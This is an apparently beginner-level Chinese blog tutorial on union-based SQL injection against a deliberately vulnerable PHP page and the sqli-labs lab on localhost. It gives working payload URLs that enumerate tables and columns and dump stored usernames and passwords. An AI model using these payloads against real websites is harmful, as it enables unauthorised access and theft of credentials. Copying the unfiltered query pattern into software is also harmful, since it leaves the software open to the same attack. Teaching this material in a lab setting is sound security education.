簡單的SQL注入——入門

SQL MySQL 程序員 技術 與君成長 與君成長 2017-08-31

導讀:基本瞭解到SQL相關語句後,可以進行SQL注入的學習,其中又包括了很多種,今天先從最簡單的開始。

簡單的SQL注入——入門

一、SQL注入原理

  • SQL注入就是把SQL命令插入到Web表單然後提交到所在頁面請求(查詢字符串),從而達到欺騙服務器執行惡意的SQL命令。

  • 它是利用現在已有的應用程序,將SQL語句插入到數據庫中執行,執行一些並非按照設計者意圖的SQL語句。

  • 產生原因:是程序沒有細緻過濾用戶輸入的數據,從而導致非法數據進入系統。

  • 相關技術原理:SQL注入可以分為平臺層注入和代碼注入。前者是由不安全的數據庫配置或平臺漏洞所致。或者是程序員對輸入未進行細緻過濾產生。

  • 這種攻擊的要訣在於將SQL的查詢/行為命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然後動態的構成SQL請求發給數據庫的。

舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將該用戶提交上來的用戶名與密碼加進SQL詢問請求發給數據庫,用於確認該用戶提交的身份驗證信息是否有效。在SQL注入攻擊的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的‘領域’區來達到攻擊的目的。

但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。必須根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據。

二、從網頁傳入參數注入

這是SQL注入中最常見的方法,並且根據該注入原理有跟多SQL注入工具

同樣,首先應測試是否存在注入漏洞,簡單的:’ 或 and 1=1 and 1=2之類的SQL語句。

如果沒有檢測,直接運行SQL語句,說明有機會注入。

舉例:

從參數注入,簡單的測試方法是:

① http://www.xxx.com/index.php?id=2

② http://www.xxx.com/index.php?id=2' and 1=1

③ http://www.xxx.com/index.php?id=2' and 1=2

可以注入的表現:

① 正常顯示(這是必然的,不然程序就有錯)

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

先來看index.php文件

以下內容為部分程序代碼:

……

$id=$_GET['id']; //接受get傳遞的參數名為id的值並賦值給變量id

......

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 把查詢到的結果賦值給變量名sql

......

echo 'Your Login name:'. $row['username']; //在網頁上顯示字段名為username 的字段值

echo "<br>";

echo 'Your Password:' .$row['password'];

(1)猜表名:

http://www.xxx.com/index.php?id=2' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 回顯的就是你猜測的表名。

(2)猜字段名:

http://www.xxx.com/index.php?id=2' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1 回顯的就是字段名

如果不太懂,沒關係,下面具體講解:

三、注入具體步驟示例:

步驟:

1 先判斷是否有注入點 and 1=1 and 1=2

2 再判斷字段數量 order by x 如果頁面回顯正常,則字段數為 order by 後面的數字

3 使用聯合查詢 union

示例:

1. 網頁中 http://127.0.0.1/sqli/Less-1/?id=1 相當於下面語句

簡單的SQL注入——入門

所以在網頁裡需要自己輸入閉合的一對引號 http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 --+

判斷‘ 後為注入點。

2、 查詢當前表格的字段長度

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+ 結果顯示正常

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+ 結果顯示錯誤

得出有三個字段。

簡單的SQL注入——入門

簡單的SQL注入——入門

3、 用 union 語句查看當前是哪幾位有效

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+ 結果為2和3 所以有效位為後兩位

簡單的SQL注入——入門

簡單的SQL注入——入門

4、 根據有效位置為2、3位,所以可以更改這兩位的變量,可查找當前的數據庫名。

補充一點SQL基礎:

1 select @@basedir 查詢數據庫安裝路徑

2 select @@datadir 查詢數據庫所在目錄

3 select version() 查詢數據庫的版本

4 select user() 查詢當前數據庫的使用用戶

5 select database() 當前使用數據庫的名字

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,database(),3 --+

簡單的SQL注入——入門

5、 查看當前數據庫裡有哪些表,查詢之後一共就只有四個表。

(補充:

Mysql5.0以上版本手工注入

Information_schema:存儲mysql數據庫下所有數據庫的表名和列名信息的自帶數據庫

information_schema.schemata:存儲mysql數據庫下所有數據庫的庫名信息的表 (字段名為 schema_name的字段值)

information_schema.tables:存儲mysql數據庫下所有數據庫的表名信息的表 (字段名為 table_name:表名

條件為 table_schema:數據庫名 )

information_schema.columns:存儲mysql數據庫下所有數據庫的列名信息的表 (字段名為column_name:的字段值))

簡單的SQL注入——入門

簡單的SQL注入——入門

6、 根據查詢到的有用信息表user,想查看其表中有哪些屬性即列名。

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+

查詢結果有三項分別為 id、username、password

簡單的SQL注入——入門

7、 查看users表裡面具體的用戶信息。

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+

一共查到了12個用戶記錄。

簡單的SQL注入——入門

總結:要想實現注入,首先要找到注入點,使用聯合查詢的語句時都需要將語句寫在一個閉合的空間內,這個空間就是通過查找注入點並添加的一個閉合的引號內。在網站中使用的查詢語句在Mysql中都是可以實現的。

基本步驟:

一、找到注入點;

二、判斷當前表的字段;

三、用聯合語句查看哪幾位是有效位;

四、查看當前數據庫中有哪些表;

五、查看錶中有哪些屬性;

六、查看錶中具體的數據信息。

相關推薦

推薦中...